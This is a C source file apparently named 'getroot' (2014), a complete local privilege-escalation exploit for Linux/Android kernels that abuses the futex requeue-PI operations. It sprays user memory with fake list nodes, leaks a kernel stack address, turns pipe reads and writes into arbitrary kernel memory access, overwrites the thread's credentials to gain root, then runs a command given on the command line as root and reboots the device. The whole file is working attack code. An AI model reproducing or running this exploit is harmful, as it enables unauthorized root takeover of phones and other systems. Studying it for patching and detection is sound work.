1. /* getroot 2014/07/12 */
  2.  
  3. /*
  4.  * Copyright (C) 2014 CUBE
  5.  *
  6.  * This program is free software: you can redistribute it and/or modify
  7.  * it under the terms of the GNU General Public License as published by
  8.  * the Free Software Foundation, either version 3 of the License, or
  9.  * (at your option) any later version.
  10.  *
  11.  * This program is distributed in the hope that it will be useful,
  12.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  * GNU General Public License for more details.
  15.  *
  16.  * You should have received a copy of the GNU General Public License
  17.  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
  18.  *
  19.  */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <sys/socket.h>
  24. #include <arpa/inet.h>
  25. #include <pthread.h>
  26. #include <sys/mman.h>
  27. #include <sys/syscall.h>
  28. #include <linux/futex.h>
  29. #include <sys/resource.h>
  30. #include <string.h>
  31. #include <fcntl.h>
  32.  
  33. #define FUTEX_WAIT_REQUEUE_PI   11
  34. #define FUTEX_CMP_REQUEUE_PI    12
  35.  
  36. struct mmsghdr {
  37.     struct msghdr msg_hdr;
  38.     unsigned int  msg_len;
  39. };
  40.  
  41. //rodata
  42. const char str_ffffffff[] = {0xff, 0xff, 0xff, 0xff, 0};
  43. const char str_1[] = {1, 0, 0, 0, 0};
  44.  
  45. //bss
  46. int _swag = 0;
  47. int _swag2 = 0;
  48. unsigned long HACKS_final_stack_base = 0;
  49. pid_t waiter_thread_tid;
  50. pthread_mutex_t done_lock;
  51. pthread_cond_t done;
  52. pthread_mutex_t is_thread_desched_lock;
  53. pthread_cond_t is_thread_desched;
  54. int do_socket_tid_read = 0;
  55. int did_socket_tid_read = 0;
  56. int do_splice_tid_read = 0;
  57. int did_splice_tid_read = 0;
  58. int do_dm_tid_read = 0;
  59. int did_dm_tid_read = 0;
  60. pthread_mutex_t is_thread_awake_lock;
  61. pthread_cond_t is_thread_awake;
  62. int HACKS_fdm = 0;
  63. unsigned long MAGIC = 0;
  64. unsigned long MAGIC_ALT = 0;
  65. pthread_mutex_t *is_kernel_writing;
  66. pid_t last_tid = 0;
  67. int g_argc;
  68. char rootcmd[256];
  69.  
  70.  
  71. ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
  72.     int pipefd[2];
  73.     ssize_t len;
  74.  
  75.     pipe(pipefd);
  76.  
  77.     len = write(pipefd[1], writebuf, count);
  78.  
  79.     if (len != count) {
  80.         printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
  81.         while (1) {
  82.             sleep(10);
  83.         }
  84.     }
  85.  
  86.     read(pipefd[0], readbuf, count);
  87.  
  88.     close(pipefd[0]);
  89.     close(pipefd[1]);
  90.  
  91.     return len;
  92. }
  93.  
  94. ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
  95.     int pipefd[2];
  96.     ssize_t len;
  97.  
  98.     pipe(pipefd);
  99.  
  100.     write(pipefd[1], writebuf, count);
  101.     len = read(pipefd[0], readbuf, count);
  102.  
  103.     if (len != count) {
  104.         printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
  105.         while (1) {
  106.             sleep(10);
  107.         }
  108.     }
  109.  
  110.     close(pipefd[0]);
  111.     close(pipefd[1]);
  112.  
  113.     return len;
  114. }
  115.  
  116. void write_kernel(int signum) {
  117.     char *slavename;
  118.     int pipefd[2];
  119.     char readbuf[0x100];
  120.     unsigned long stackbuf[4];
  121.     unsigned long buf_a[0x100];
  122.     unsigned long val1;
  123.     unsigned long buf_b[0x40];
  124.     unsigned long val2;
  125.     unsigned long buf_c[6];
  126.     pid_t pid;
  127.     int i;
  128.     int ret;
  129.  
  130.     pthread_mutex_lock(&is_thread_awake_lock);
  131.     pthread_cond_signal(&is_thread_awake);
  132.     pthread_mutex_unlock(&is_thread_awake_lock);
  133.  
  134.     if (HACKS_final_stack_base == 0) {
  135.         printf("cpid1 resumed.\n");
  136.  
  137.         pthread_mutex_lock(is_kernel_writing);
  138.  
  139.         HACKS_fdm = open("/dev/ptmx", O_RDWR);
  140.         unlockpt(HACKS_fdm);
  141.         slavename = ptsname(HACKS_fdm);
  142.  
  143.         open(slavename, O_RDWR);
  144.  
  145.         do_splice_tid_read = 1;
  146.         while (1) {
  147.             if (did_splice_tid_read != 0) {
  148.                 break;
  149.             }
  150.         }
  151.  
  152.         read(HACKS_fdm, readbuf, 0x100);
  153.  
  154.         write_pipe((void *)(HACKS_final_stack_base + 8), (void *)str_ffffffff, 4);
  155.  
  156.         pthread_mutex_unlock(is_kernel_writing);
  157.  
  158.         while (1) {
  159.             sleep(10);
  160.         }
  161.     }
  162.  
  163.     printf("cpid3 resumed.\n");
  164.  
  165.     pthread_mutex_lock(is_kernel_writing);
  166.  
  167.     printf("hack.\n");
  168.  
  169.     read_pipe((void *)HACKS_final_stack_base, stackbuf, 0x10);
  170.     read_pipe((void *)(stackbuf[3]), buf_a, 0x400);
  171.  
  172.     val1 = 0;
  173.     val2 = 0;
  174.     pid = 0;
  175.  
  176.     for (i = 0; i < 0x100; i++) {
  177.         if (buf_a[i] == buf_a[i + 1]) {
  178.             if (buf_a[i] > 0xc0000000) {
  179.                 if (buf_a[i + 2] == buf_a[i + 3]) {
  180.                     if (buf_a[i + 2] > 0xc0000000) {
  181.                         if (buf_a[i + 4] == buf_a[i + 5]) {
  182.                             if (buf_a[i + 4] > 0xc0000000) {
  183.                                 if (buf_a[i + 6] == buf_a[i + 7]) {
  184.                                     if (buf_a[i + 6] > 0xc0000000) {
  185.                                         val1 = buf_a[i + 7];
  186.                                         break;
  187.                                     }
  188.                                 }
  189.                             }
  190.                         }
  191.                     }
  192.                 }
  193.             }
  194.         }
  195.     }
  196.  
  197.     read_pipe((void *)val1, buf_b, 0x100);
  198.     val2 = buf_b[0x16];
  199.     if (val2 > 0xc0000000) {
  200.         if (val2 < 0xffff0000) {
  201.             read_pipe((void *)val2, buf_c, 0x18);
  202.             if (buf_c[0] != 0) {
  203.                 if (buf_c[1] != 0) {
  204.                     if (buf_c[2] == 0) {
  205.                         if (buf_c[3] == 0) {
  206.                             if (buf_c[4] == 0) {
  207.                                 if (buf_c[5] == 0) {
  208.                                     buf_c[0] = 1;
  209.                                     buf_c[1] = 1;
  210.  
  211.                                     write_pipe((void *)val2, buf_c, 0x18);
  212.                                 }
  213.                             }
  214.                         }
  215.                     }
  216.                 }
  217.             }
  218.         }
  219.     }
  220.  
  221.     buf_b[1] = 0;
  222.     buf_b[2] = 0;
  223.     buf_b[3] = 0;
  224.     buf_b[4] = 0;
  225.     buf_b[5] = 0;
  226.     buf_b[6] = 0;
  227.     buf_b[7] = 0;
  228.     buf_b[8] = 0;
  229.  
  230.     buf_b[10] = 0xffffffff;
  231.     buf_b[11] = 0xffffffff;
  232.     buf_b[12] = 0xffffffff;
  233.     buf_b[13] = 0xffffffff;
  234.     buf_b[14] = 0xffffffff;
  235.     buf_b[15] = 0xffffffff;
  236.     buf_b[16] = 0xffffffff;
  237.     buf_b[17] = 0xffffffff;
  238.  
  239.     write_pipe((void *)val1, buf_b, 0x48);
  240.  
  241.     pid = syscall(__NR_gettid);
  242.  
  243.     i = 0;
  244.     while (1) {
  245.         if (buf_a[i] == pid) {
  246.             write_pipe((void *)(stackbuf[3] + (i << 2)), (void *)str_1, 4);
  247.  
  248.             if (getuid() != 0) {
  249.                 printf("root failed.\n");
  250.                 while (1) {
  251.                     sleep(10);
  252.                 }
  253.             } else {
  254.                 break;
  255.             }
  256.         }
  257.  
  258.         i++;
  259.     }
  260.  
  261.     //rooted
  262.     sleep(1);
  263.  
  264.     if (g_argc >= 2) {
  265.         system(rootcmd);
  266.     }
  267.     system("/system/bin/touch /dev/rooted");
  268.  
  269.     pid = fork();
  270.     if (pid == 0) {
  271.         while (1) {
  272.             ret = access("/dev/rooted", F_OK);
  273.             if (ret >= 0) {
  274.                 break;
  275.             }
  276.         }
  277.  
  278.         printf("wait 10 seconds...\n");
  279.         sleep(10);
  280.  
  281.         printf("rebooting...\n");
  282.         sleep(1);
  283.         system("reboot");
  284.  
  285.         while (1) {
  286.             sleep(10);
  287.         }
  288.     }
  289.  
  290.     pthread_mutex_lock(&done_lock);
  291.     pthread_cond_signal(&done);
  292.     pthread_mutex_unlock(&done_lock);
  293.  
  294.     while (1) {
  295.         sleep(10);
  296.     }
  297.  
  298.     return;
  299. }
  300.  
  301. void *make_action(void *arg) {
  302.     int prio;
  303.     struct sigaction act;
  304.     int ret;
  305.  
  306.     prio = (int)arg;
  307.     last_tid = syscall(__NR_gettid);
  308.  
  309.     pthread_mutex_lock(&is_thread_desched_lock);
  310.     pthread_cond_signal(&is_thread_desched);
  311.  
  312.     act.sa_handler = write_kernel;
  313.     act.sa_mask = 0;
  314.     act.sa_flags = 0;
  315.     act.sa_restorer = NULL;
  316.     sigaction(12, &act, NULL);
  317.  
  318.     setpriority(PRIO_PROCESS, 0, prio);
  319.  
  320.     pthread_mutex_unlock(&is_thread_desched_lock);
  321.  
  322.     do_dm_tid_read = 1;
  323.  
  324.     while (1) {
  325.         if (did_dm_tid_read != 0) {
  326.             break;
  327.         }
  328.     }
  329.  
  330.     ret = syscall(__NR_futex, &_swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  331.     printf("futex dm: %d\n", ret);
  332.  
  333.     while (1) {
  334.         sleep(10);
  335.     }
  336.  
  337.     return NULL;
  338. }
  339.  
  340. pid_t wake_actionthread(int prio) {
  341.     pthread_t th4;
  342.     pid_t pid;
  343.     char filename[256];
  344.     FILE *fp;
  345.     char filebuf[0x1000];
  346.     char *pdest;
  347.     int vcscnt, vcscnt2;
  348.  
  349.     do_dm_tid_read = 0;
  350.     did_dm_tid_read = 0;
  351.  
  352.     pthread_mutex_lock(&is_thread_desched_lock);
  353.     pthread_create(&th4, 0, make_action, (void *)prio);
  354.     pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
  355.  
  356.     pid = last_tid;
  357.  
  358.     sprintf(filename, "/proc/self/task/%d/status", pid);
  359.  
  360.     fp = fopen(filename, "rb");
  361.     if (fp == 0) {
  362.         vcscnt = -1;
  363.     } else {
  364.         fread(filebuf, 1, 0x1000, fp);
  365.         pdest = strstr(filebuf, "voluntary_ctxt_switches");
  366.         pdest += 0x19;
  367.         vcscnt = atoi(pdest);
  368.         fclose(fp);
  369.     }
  370.  
  371.     while (1) {
  372.         if (do_dm_tid_read != 0) {
  373.             break;
  374.         }
  375.         usleep(10);
  376.     }
  377.  
  378.     did_dm_tid_read = 1;
  379.  
  380.     while (1) {
  381.         sprintf(filename, "/proc/self/task/%d/status", pid);
  382.         fp = fopen(filename, "rb");
  383.         if (fp == 0) {
  384.             vcscnt2 = -1;
  385.         } else {
  386.             fread(filebuf, 1, 0x1000, fp);
  387.             pdest = strstr(filebuf, "voluntary_ctxt_switches");
  388.             pdest += 0x19;
  389.             vcscnt2 = atoi(pdest);
  390.             fclose(fp);
  391.         }
  392.  
  393.         if (vcscnt2 == vcscnt + 1) {
  394.             break;
  395.         }
  396.         usleep(10);
  397.  
  398.     }
  399.  
  400.     pthread_mutex_unlock(&is_thread_desched_lock);
  401.  
  402.     return pid;
  403. }
  404.  
  405. int make_socket() {
  406.     int sockfd;
  407.     struct sockaddr_in addr = {0};
  408.     int ret;
  409.     int sock_buf_size;
  410.  
  411.     sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
  412.     if (sockfd < 0) {
  413.         printf("socket failed.\n");
  414.         usleep(10);
  415.     } else {
  416.         addr.sin_family = AF_INET;
  417.         addr.sin_port = htons(5551);
  418.         addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  419.     }
  420.  
  421.     while (1) {
  422.         ret = connect(sockfd, (struct sockaddr *)&addr, 16);
  423.         if (ret >= 0) {
  424.             break;
  425.         }
  426.         usleep(10);
  427.     }
  428.  
  429.     sock_buf_size = 1;
  430.     setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
  431.  
  432.     return sockfd;
  433. }
  434.  
  435. void *send_magicmsg(void *arg) {
  436.     int sockfd;
  437.     struct mmsghdr msgvec[1];
  438.     struct iovec msg_iov[8];
  439.     unsigned long databuf[0x20];
  440.     int i;
  441.     int ret;
  442.  
  443.     waiter_thread_tid = syscall(__NR_gettid);
  444.     setpriority(PRIO_PROCESS, 0, 12);
  445.  
  446.     sockfd = make_socket();
  447.  
  448.     for (i = 0; i < 0x20; i++) {
  449.         databuf[i] = MAGIC;
  450.     }
  451.  
  452.     for (i = 0; i < 8; i++) {
  453.         msg_iov[i].iov_base = (void *)MAGIC;
  454.         msg_iov[i].iov_len = 0x10;
  455.     }
  456.  
  457.     msgvec[0].msg_hdr.msg_name = databuf;
  458.     msgvec[0].msg_hdr.msg_namelen = 0x80;
  459.     msgvec[0].msg_hdr.msg_iov = msg_iov;
  460.     msgvec[0].msg_hdr.msg_iovlen = 8;
  461.     msgvec[0].msg_hdr.msg_control = databuf;
  462.     msgvec[0].msg_hdr.msg_controllen = 0x20;
  463.     msgvec[0].msg_hdr.msg_flags = 0;
  464.     msgvec[0].msg_len = 0;
  465.  
  466.     syscall(__NR_futex, &_swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &_swag2, 0);
  467.  
  468.     do_socket_tid_read = 1;
  469.  
  470.     while (1) {
  471.         if (did_socket_tid_read != 0) {
  472.             break;
  473.         }
  474.     }
  475.  
  476.     ret = 0;
  477.  
  478.     while (1) {
  479.         ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
  480.         if (ret <= 0) {
  481.             break;
  482.         }
  483.     }
  484.  
  485.     if (ret < 0) {
  486.         perror("SOCKSHIT");
  487.     }
  488.     printf("EXIT WTF\n");
  489.     while (1) {
  490.         sleep(10);
  491.     }
  492.  
  493.     return NULL;
  494. }
  495.  
  496. void *search_goodnum(void *arg) {
  497.     int ret;
  498.     char filename[256];
  499.     FILE *fp;
  500.     char filebuf[0x1000];
  501.     char *pdest;
  502.     int vcscnt, vcscnt2;
  503.     unsigned long magicval;
  504.     pid_t pid;
  505.     unsigned long goodval, goodval2;
  506.     unsigned long addr, setaddr;
  507.     int i;
  508.     char buf[0x1000];
  509.  
  510.     syscall(__NR_futex, &_swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  511.  
  512.     while (1) {
  513.         ret = syscall(__NR_futex, &_swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &_swag2, _swag);
  514.         if (ret == 1) {
  515.             break;
  516.         }
  517.         usleep(10);
  518.     }
  519.  
  520.     wake_actionthread(6);
  521.     wake_actionthread(7);
  522.  
  523.     _swag2 = 0;
  524.     do_socket_tid_read = 0;
  525.     did_socket_tid_read = 0;
  526.  
  527.     syscall(__NR_futex, &_swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &_swag2, _swag2);
  528.  
  529.     while (1) {
  530.         if (do_socket_tid_read != 0) {
  531.             break;
  532.         }
  533.     }
  534.  
  535.     sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
  536.  
  537.     fp = fopen(filename, "rb");
  538.     if (fp == 0) {
  539.         vcscnt = -1;
  540.     } else {
  541.         fread(filebuf, 1, 0x1000, fp);
  542.         pdest = strstr(filebuf, "voluntary_ctxt_switches");
  543.         pdest += 0x19;
  544.         vcscnt = atoi(pdest);
  545.         fclose(fp);
  546.     }
  547.  
  548.     did_socket_tid_read = 1;
  549.  
  550.     while (1) {
  551.         sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
  552.         fp = fopen(filename, "rb");
  553.         if (fp == 0) {
  554.             vcscnt2 = -1;
  555.         } else {
  556.             fread(filebuf, 1, 0x1000, fp);
  557.             pdest = strstr(filebuf, "voluntary_ctxt_switches");
  558.             pdest += 0x19;
  559.             vcscnt2 = atoi(pdest);
  560.             fclose(fp);
  561.         }
  562.  
  563.         if (vcscnt2 == vcscnt + 1) {
  564.             break;
  565.         }
  566.         usleep(10);
  567.     }
  568.  
  569.     printf("starting the dangerous things.\n");
  570.  
  571.     *((unsigned long *)(MAGIC_ALT - 4)) = 0x81;
  572.     *((unsigned long *)MAGIC_ALT) = MAGIC_ALT + 0x20;
  573.     *((unsigned long *)(MAGIC_ALT + 8)) = MAGIC_ALT + 0x28;
  574.     *((unsigned long *)(MAGIC_ALT + 0x1c)) = 0x85;
  575.     *((unsigned long *)(MAGIC_ALT + 0x24)) = MAGIC_ALT;
  576.     *((unsigned long *)(MAGIC_ALT + 0x2c)) = MAGIC_ALT + 8;
  577.  
  578.     *((unsigned long *)(MAGIC - 4)) = 0x81;
  579.     *((unsigned long *)MAGIC) = MAGIC + 0x20;
  580.     *((unsigned long *)(MAGIC + 8)) = MAGIC + 0x28;
  581.     *((unsigned long *)(MAGIC + 0x1c)) = 0x85;
  582.     *((unsigned long *)(MAGIC + 0x24)) = MAGIC;
  583.     *((unsigned long *)(MAGIC + 0x2c)) = MAGIC + 8;
  584.  
  585.     magicval = *((unsigned long *)MAGIC);
  586.  
  587.     wake_actionthread(11);
  588.  
  589.     if (*((unsigned long *)MAGIC) == magicval) {
  590.         printf("using MAGIC_ALT.\n");
  591.         MAGIC = MAGIC_ALT;
  592.     }
  593.  
  594.     while (1) {
  595.         is_kernel_writing = (pthread_mutex_t *)malloc(4);
  596.         pthread_mutex_init(is_kernel_writing, NULL);
  597.  
  598.         *((unsigned long *)(MAGIC - 4)) = 0x81;
  599.         *((unsigned long *)MAGIC) = MAGIC + 0x20;
  600.         *((unsigned long *)(MAGIC + 8)) = MAGIC + 0x28;
  601.         *((unsigned long *)(MAGIC + 0x1c)) = 0x85;
  602.         *((unsigned long *)(MAGIC + 0x24)) = MAGIC;
  603.         *((unsigned long *)(MAGIC + 0x2c)) = MAGIC + 8;
  604.  
  605.         pid = wake_actionthread(11);
  606.  
  607.         goodval = *((unsigned long *)MAGIC) & 0xffffe000;
  608.  
  609.         printf("%p is a good number.\n", (void *)goodval);
  610.  
  611.         do_splice_tid_read = 0;
  612.         did_splice_tid_read = 0;
  613.  
  614.         pthread_mutex_lock(&is_thread_awake_lock);
  615.  
  616.         kill(pid, 12);
  617.  
  618.         pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
  619.         pthread_mutex_unlock(&is_thread_awake_lock);
  620.  
  621.         while (1) {
  622.             if (do_splice_tid_read != 0) {
  623.                 break;
  624.             }
  625.             usleep(10);
  626.         }
  627.  
  628.         sprintf(filename, "/proc/self/task/%d/status", pid);
  629.         fp = fopen(filename, "rb");
  630.         if (fp == 0) {
  631.             vcscnt = -1;
  632.         } else {
  633.             fread(filebuf, 1, 0x1000, fp);
  634.             pdest = strstr(filebuf, "voluntary_ctxt_switches");
  635.             pdest += 0x19;
  636.             vcscnt = atoi(pdest);
  637.             fclose(fp);
  638.         }
  639.  
  640.         did_splice_tid_read = 1;
  641.  
  642.         while (1) {
  643.             sprintf(filename, "/proc/self/task/%d/status", pid);
  644.             fp = fopen(filename, "rb");
  645.             if (fp == 0) {
  646.                 vcscnt2 = -1;
  647.             } else {
  648.                 fread(filebuf, 1, 0x1000, fp);
  649.                 pdest = strstr(filebuf, "voluntary_ctxt_switches");
  650.                 pdest += 19;
  651.                 vcscnt2 = atoi(pdest);
  652.                 fclose(fp);
  653.             }
  654.  
  655.             if (vcscnt2 != vcscnt + 1) {
  656.                 break;
  657.             }
  658.             usleep(10);
  659.         }
  660.  
  661.         goodval2 = 0;
  662.  
  663.         *((unsigned long *)(MAGIC - 4)) = 0x81;
  664.         *((unsigned long *)MAGIC) = MAGIC + 0x20;
  665.         *((unsigned long *)(MAGIC + 8)) = MAGIC + 0x28;
  666.         *((unsigned long *)(MAGIC + 0x1c)) = 0x85;
  667.         *((unsigned long *)(MAGIC + 0x24)) = MAGIC;
  668.         *((unsigned long *)(MAGIC + 0x2c)) = MAGIC + 8;
  669.  
  670.         *((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
  671.  
  672.         wake_actionthread(12);
  673.         goodval2 = *((unsigned long *)(MAGIC + 0x24));
  674.  
  675.         printf("%p is also a good number.\n", (void *)goodval2);
  676.  
  677.         for (i = 0; i < 9; i++) {
  678.             *((unsigned long *)(MAGIC - 4)) = 0x81;
  679.             *((unsigned long *)MAGIC) = MAGIC + 0x20;
  680.             *((unsigned long *)(MAGIC + 8)) = MAGIC + 0x28;
  681.             *((unsigned long *)(MAGIC + 0x1c)) = 0x85;
  682.             *((unsigned long *)(MAGIC + 0x24)) = MAGIC;
  683.             *((unsigned long *)(MAGIC + 0x2c)) = MAGIC + 8;
  684.  
  685.             pid = wake_actionthread(10);
  686.  
  687.             if (*((unsigned long *)MAGIC) < goodval2) {
  688.                 HACKS_final_stack_base = *((unsigned long *)MAGIC) & 0xffffe000;
  689.  
  690.                 pthread_mutex_lock(&is_thread_awake_lock);
  691.  
  692.                 kill(pid, 12);
  693.  
  694.                 pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
  695.                 pthread_mutex_unlock(&is_thread_awake_lock);
  696.  
  697.                 write(HACKS_fdm, buf, 0x1000);
  698.  
  699.                 while (1) {
  700.                     sleep(10);
  701.                 }
  702.             }
  703.  
  704.         }
  705.     }
  706.  
  707.     return NULL;
  708. }
  709.  
  710. void *accept_socket(void *arg) {
  711.     int sockfd;
  712.     int yes;
  713.     struct sockaddr_in addr = {0};
  714.     int ret;
  715.  
  716.     sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
  717.  
  718.     yes = 1;
  719.     setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
  720.  
  721.     addr.sin_family = AF_INET;
  722.     addr.sin_port = htons(5551);
  723.     addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  724.     bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
  725.  
  726.     listen(sockfd, 1);
  727.  
  728.     while(1) {
  729.         ret = accept(sockfd, NULL, NULL);
  730.         if (ret < 0) {
  731.             printf("**** SOCK_PROC failed ****\n");
  732.             while(1) {
  733.                 sleep(10);
  734.             }
  735.         } else {
  736.             printf("i have a client like hookers.\n");
  737.         }
  738.     }
  739.  
  740.     return NULL;
  741. }
  742.  
  743. void init_exploit() {
  744.     unsigned long addr;
  745.     pthread_t th1, th2, th3;
  746.  
  747.     printf("running with pid %d\n", getpid());
  748.  
  749.     pthread_create(&th1, NULL, accept_socket, NULL);
  750.  
  751.     addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  752.     addr += 0x800;
  753.     MAGIC = addr;
  754.     if ((long)addr >= 0) {
  755.         printf("first mmap failed?\n");
  756.         while (1) {
  757.             sleep(10);
  758.         }
  759.     }
  760.  
  761.     addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  762.     addr += 0x800;
  763.     MAGIC_ALT = addr;
  764.     if (addr > 0x110000) {
  765.         printf("second mmap failed?\n");
  766.         while (1) {
  767.             sleep(10);
  768.         }
  769.     }
  770.  
  771.     pthread_mutex_lock(&done_lock);
  772.     pthread_create(&th2, NULL, search_goodnum, NULL);
  773.     pthread_create(&th3, NULL, send_magicmsg, NULL);
  774.     pthread_cond_wait(&done, &done_lock);
  775.  
  776.     return;
  777. }
  778.  
  779. int main(int argc, char **argv) {
  780.     g_argc = argc;
  781.  
  782.     if (argc >= 2) {
  783.         strcpy(rootcmd, argv[1]);
  784.     }
  785.  
  786.     init_exploit();
  787.  
  788.     printf("\n");
  789.     printf("done root command.\n");
  790.  
  791.     while (1) {
  792.         sleep(10);
  793.     }
  794.  
  795.     return 0;
  796. }